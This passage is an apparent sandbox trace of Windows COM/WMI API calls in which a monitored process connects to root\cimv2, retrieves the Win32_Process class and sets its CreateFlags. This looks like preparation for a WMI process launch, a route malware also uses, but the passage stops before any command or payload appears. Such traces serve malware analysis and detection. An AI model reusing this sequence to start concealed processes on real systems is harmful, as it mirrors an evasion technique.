pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294cbc0*=19, plFlavor=0x294cbc4*=0) returned 0x0 [0067.972] IWbemClassObject:Get (in: This=0x1bf46c00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294cbc0*=19, plFlavor=0x294cbc4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294cbc0*=19, plFlavor=0x294cbc4*=0) returned 0x0 [0067.972] IWbemClassObject:Put (This=0x1bf46c00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0067.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c480, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0067.973] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0067.973] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0067.973] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.973] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0067.973] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0067.973] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0067.973] IUnknown:Release (This=0x111f638) returned 0x1 [0067.975] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11f7e10) returned 0x0 [0067.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7e10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0067.975] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7e10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119c4a0) returned 0x0 [0067.975] WbemDefPath:IUnknown:Release (This=0x11f7e10) returned 0x0 [0067.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119c4a0) returned 0x0 [0067.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0067.976] WbemDefPath:IUnknown:AddRef (This=0x119c4a0) returned 0x3 [0067.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0067.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0067.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11f7d50) returned 0x0 [0067.976] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7d50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.976] WbemDefPath:IUnknown:Release (This=0x11f7d50) returned 0x3 [0067.976] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0067.976] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0067.977] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0067.977] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x2 [0067.977] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x1 [0067.977] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0067.977] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0067.977] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119c4a0) returned 0x0 [0067.977] WbemDefPath:IUnknown:AddRef (This=0x119c4a0) returned 0x3 [0067.977] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x2 [0067.977] WbemDefPath:IWbemPath:SetText (This=0x119c4a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0067.977] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0067.977] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0067.977] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.977] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0067.978] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0067.978] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0067.978] IUnknown:Release (This=0x111f638) returned 0x1 [0067.979] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11f79b0) returned 0x0 [0067.979] WbemLocator:IUnknown:QueryInterface (in: This=0x11f79b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0067.979] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f79b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11f7b10) returned 0x0 [0067.979] WbemLocator:IUnknown:Release (This=0x11f79b0) returned 0x0 [0067.979] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7b10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11f7b10) returned 0x0 [0067.979] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7b10, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0067.980] WbemLocator:IUnknown:AddRef (This=0x11f7b10) returned 0x3 [0067.980] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7b10, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0067.980] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7b10, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0067.980] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7b10, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0067.980] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0067.980] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0067.980] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7b10, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0067.980] WbemLocator:IUnknown:Release (This=0x11f7b10) returned 0x2 [0067.980] WbemLocator:IUnknown:Release (This=0x11f7b10) returned 0x1 [0067.980] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0067.980] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0067.980] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7b10, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11f7b10) returned 0x0 [0067.980] WbemLocator:IUnknown:AddRef (This=0x11f7b10) returned 0x3 [0067.980] WbemLocator:IUnknown:Release (This=0x11f7b10) returned 0x2 [0067.981] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0067.981] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0067.981] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.981] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11f7b30) returned 0x0 [0067.981] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f7b30, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bea7f80) returned 0x0 [0068.020] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7f80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bef17b0) returned 0x0 [0068.020] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef17b0, pProxy=0x1bea7f80, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0068.020] WbemLocator:IUnknown:Release (This=0x1bef17b0) returned 0x1 [0068.020] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7f80, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bef17f0) returned 0x0 [0068.020] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7f80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bef17b0) returned 0x0 [0068.021] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef17b0, pProxy=0x1bea7f80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0068.021] WbemLocator:IUnknown:Release (This=0x1bef17b0) returned 0x2 [0068.021] WbemLocator:IUnknown:Release (This=0x1bef17f0) returned 0x1 [0068.021] CoTaskMemFree (pv=0x1bf3d5b0) [0068.021] WbemLocator:IUnknown:AddRef (This=0x1bea7f80) returned 0x2 [0068.021] WbemLocator:IUnknown:Release (This=0x11f7b30) returned 0x0 [0068.022] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0068.022] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0068.022] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7f80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bef17c0) returned 0x0 [0068.022] WbemLocator:IRpcOptions:Query (in: This=0x1bef17c0, pPrx=0x11f7ad0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0068.022] WbemLocator:IUnknown:Release (This=0x1bef17c0) returned 0x2 [0068.022] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0068.022] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0068.022] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7f80, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bea7f80) returned 0x0 [0068.022] WbemLocator:IUnknown:Release (This=0x1bea7f80) returned 0x2 [0068.022] SysStringLen (param_1=0x0) returned 0x0 [0068.023] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0068.023] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0068.023] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.023] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c480, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0068.023] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c480, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0068.023] IWbemServices:GetObject (in: This=0x1bea7f80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bf46f70, ppCallResult=0x0) returned 0x0 [0068.027] IWbemClassObject:Get (in: This=0x1bf46f70, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0068.028] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0068.028] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0068.028] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0068.028] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0068.028] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0068.028] IUnknown:Release (This=0x111f638) returned 0x1 [0068.030] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11f7b30) returned 0x0 [0068.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7b30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0068.031] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7b30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119c3e0) returned 0x0 [0068.031] WbemDefPath:IUnknown:Release (This=0x11f7b30) returned 0x0 [0068.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119c3e0) returned 0x0 [0068.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0068.031] WbemDefPath:IUnknown:AddRef (This=0x119c3e0) returned 0x3 [0068.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0068.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0068.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11f7a90) returned 0x0 [0068.032] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7a90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.032] WbemDefPath:IUnknown:Release (This=0x11f7a90) returned 0x3 [0068.032] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0068.032] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0068.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0068.032] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x2 [0068.032] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x1 [0068.032] CoGetContextToken (in: 